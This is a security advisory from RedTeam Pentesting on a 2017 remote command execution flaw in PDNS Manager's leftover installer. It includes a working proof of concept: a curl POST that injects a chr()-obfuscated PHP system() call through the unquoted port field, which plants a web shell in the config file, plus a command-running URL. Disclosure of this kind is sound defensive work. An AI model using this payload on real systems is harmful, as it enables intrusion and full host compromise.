PDNS Manager Remote Command Execution

`Advisory: Remote Command Execution in PDNS Manager  
  
RedTeam Pentesting discovered that PDNS Manager is vulnerable to a  
remote command execution vulnerability, if for any reason the  
configuration file config/config-user.php does not exist.  
  
  
Details  
=======  
  
Product: PDNS Manager  
Affected Versions: Git master 3bf4e28 (2016-12-12) - 2bb00ea (2017-05-22)  
Fixed Versions: <= v1.2.1, >= Git Commit ccc4232  
Vulnerability Type: Remote Command Execution  
Security Risk: medium   
Vendor URL: https://pdnsmanager.lmitsystems.de/  
Vendor Status: fixed version released  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-011  
Advisory Status: published  
CVE: GENERIC-MAP-NOMATCH  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH  
  
  
Introduction  
============  
  
"PDNS Manager is a simple yet powerful administration tool for the  
Powerdns authoritative nameserver."  
"PNDS Manager was developed from scratch to achieve a user-friendly and  
pretty looking interface."  
(from project website) [0]  
  
  
More Details  
============  
  
PDNS Manager includes two files used for installation purposes,  
install.php and api/install.php. The documentation tells users to start  
the installation by navigating to install.php and filling out the form that is  
presented there to create a database connection and an admin account. When  
submitted, an HTTP POST request with the configuration data is sent to  
api/install.php. The data is first validated in api/install.php by using it to  
connect to the database:  
  
------------------------------------------------------------------------  
try {  
$db = new PDO("$input->type:dbname=$input->database;host=$input->host;port=$input->port", $input->user, $input->password);  
}  
catch (PDOException $e) {  
$retval['status'] = "error";  
$retval['message'] = serialize($e);  
}  
------------------------------------------------------------------------  
  
As long as a valid database connection can be made with the data from  
the POST request, the installation process continues. The configuration is  
written to the file config/config-user.php which then gets included from  
config/config-default.php:  
  
------------------------------------------------------------------------  
$configFile = Array();  
  
$configFile[] = '<?php';  
$configFile[] = '$config[\'db_host\']=\''.addslashes($input->host)."';";  
$configFile[] = '$config[\'db_user\']=\''.addslashes($input->user)."';";  
$configFile[] = '$config[\'db_password\']= \''.addslashes($input->password)."';";  
$configFile[] = '$config[\'db_name\']=\''.addslashes($input->database)."';";  
$configFile[] = '$config[\'db_port\']='.addslashes($input->port).";";  
$configFile[] = '$config[\'db_type\']=\''.addslashes($input->type)."';";  
  
$retval['status'] = "success";  
try {  
file_put_contents("../config/config-user.php", implode("\n", $configFile));  
}  
------------------------------------------------------------------------  
  
At the very beginning of install.php, it is checked whether the file  
config/config-user.php already exists. If this is the case, further  
execution of the installation process is aborted:  
  
------------------------------------------------------------------------  
if(file_exists("../config/config-user.php")) {  
echo "Permission denied!";  
exit();  
}  
------------------------------------------------------------------------  
  
However, the installation files are not removed and can therefore still  
be accessed. In consequence, attackers can (re-)run the installation  
process as long as the file config/config-user.php does not exist. This  
can be the case if either the installation routine was indeed not yet  
run, or the configuration details were added manually, e.g. by entering  
them directly into the file config/config-default.php.  
  
The provided configuration data is not verified for semantic or  
syntactic correctness in any way. Only the PHP function addslashes() is  
used for all inputs, to mask single quotes, double quotes and  
backslashes. While this prevents adding malicious input to the  
configuration values which are set in single quotes, the port, which is  
expected to be numeric, is not enclosed in single quotes, making it  
vulnerable to code injection. Therefore, an HTTP POST request with a  
manipulated port value like the following could be sent to the  
installer:  
  
------------------------------------------------------------------------  
POST /api/install.php HTTP/1.1  
Host: example.com  
[...]  
Connection: close  
  
{  
"host":"attacker-system.example.com",  
"user":"root",  
"password":"secret",  
"database":"pdnsdb",  
"port":"3306;system($_GET[chr(99).chr(109).chr(100)])",  
"userName":"administrator",  
"userPassword":"password",  
"type":"mysql"  
}  
------------------------------------------------------------------------  
  
To bypass the problem that the addslashes() function prevents the usage  
of single or double quotes for the GET variable name, it was instead  
encoded with the chr() function and decodes to the string "cmd".  
  
PDNS Manager since Git commit 3bf4e28[1] from 12 December 2016 uses the  
PHP PDO class for establishing a database connection. Since the PDO  
class is quite liberal in what it accepts in its Data Source Name  
parameter, the configuration parameters as shown above are accepted and  
allow for a valid database connection, as the additional data in the  
"port" parameter is ignored by the PDO class. Finally, the file  
config/config-user.php will be written with the following content:  
  
------------------------------------------------------------------------  
<?php  
$config['db_host'] = 'example.com';  
$config['db_user'] = 'root';  
$config['db_password'] = 'secret';  
$config['db_name'] = 'pdnsdb';  
$config['db_port'] = 3306;system($_GET[chr(99).chr(109).chr(100)]);  
$config['db_type'] = 'mysql';  
------------------------------------------------------------------------  
  
As config/config-user.php is a normal, executable PHP file, commands can  
now be executed on the affected system by requesting the following URL:  
  
------------------------------------------------------------------------  
http://example.com/config/config-user.php?cmd=uname%20-a  
------------------------------------------------------------------------  
  
  
Proof of Concept  
================  
  
1. Check if install.php is still available and can be used to write a new  
configuration by visiting the following URL:  
  
http://example.com/install.php  
  
2. Set up a database that PDNS Manager can connect to.  
  
3. Send an HTTP POST request with a manipulated "port" parameter, e.g.  
  
------------------------------------------------------------------------  
curl -H 'Content-Type: application/json' --data \  
'{"host":"attacker-system.example.com", \  
"user":"root", \  
"password":"secret", \  
"database":"pdnsdb", \  
"port":"3306;system($_GET[chr(99).chr(109).chr(100)])", \  
"userName":"administrator", \  
"userPassword":"password", \  
"type":"mysql"}' \  
http://example.com/api/install.php  
------------------------------------------------------------------------  
  
4. Run arbitrary commands:  
  
------------------------------------------------------------------------  
http://example.com/config/config-user.php?cmd=uname%20-a  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
Ensure that config/config-user.php exists.  
  
  
Fix  
===  
  
The problem was fixed in the Git master branch in commit ccc4232[2].  
Alternatively, the stable version v1.2.1 and earlier are not affected.  
  
  
Security Risk  
=============  
  
The vulnerability is deemed to be of medium risk. The number of  
installations that are configured in the way described should be rather  
low, as it is not the recommended way of installing PDNS Manager and the  
development version of PDNS Manager needs to have been used. However, if  
such a configuration is found, arbitrary PHP code can be run on the  
system. Depending on the system's configuration, this can lead to a full  
compromise of the host running PDNS Manager.  
  
  
Timeline  
========  
  
2017-05-16 Vulnerability identified  
2017-06-16 Customer approved disclosure to vendor  
2017-06-27 Vendor notified  
2017-06-29 Vendor released fixed version  
2017-07-05 Advisory released  
  
  
References  
==========  
  
[0] https://pdnsmanager.lmitsystems.de/  
[1] https://github.com/loewexy/pdnsmanager/commit/3bf4e2874a0120d99ae02a1a9f4a6e74094c7dc1  
[2] https://github.com/loewexy/pdnsmanager/commit/ccc423291cb0e6f8c58849f71821e7425b7c030e  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschaftsfuhrer: Patrick Hof, Jens Liebchen  
`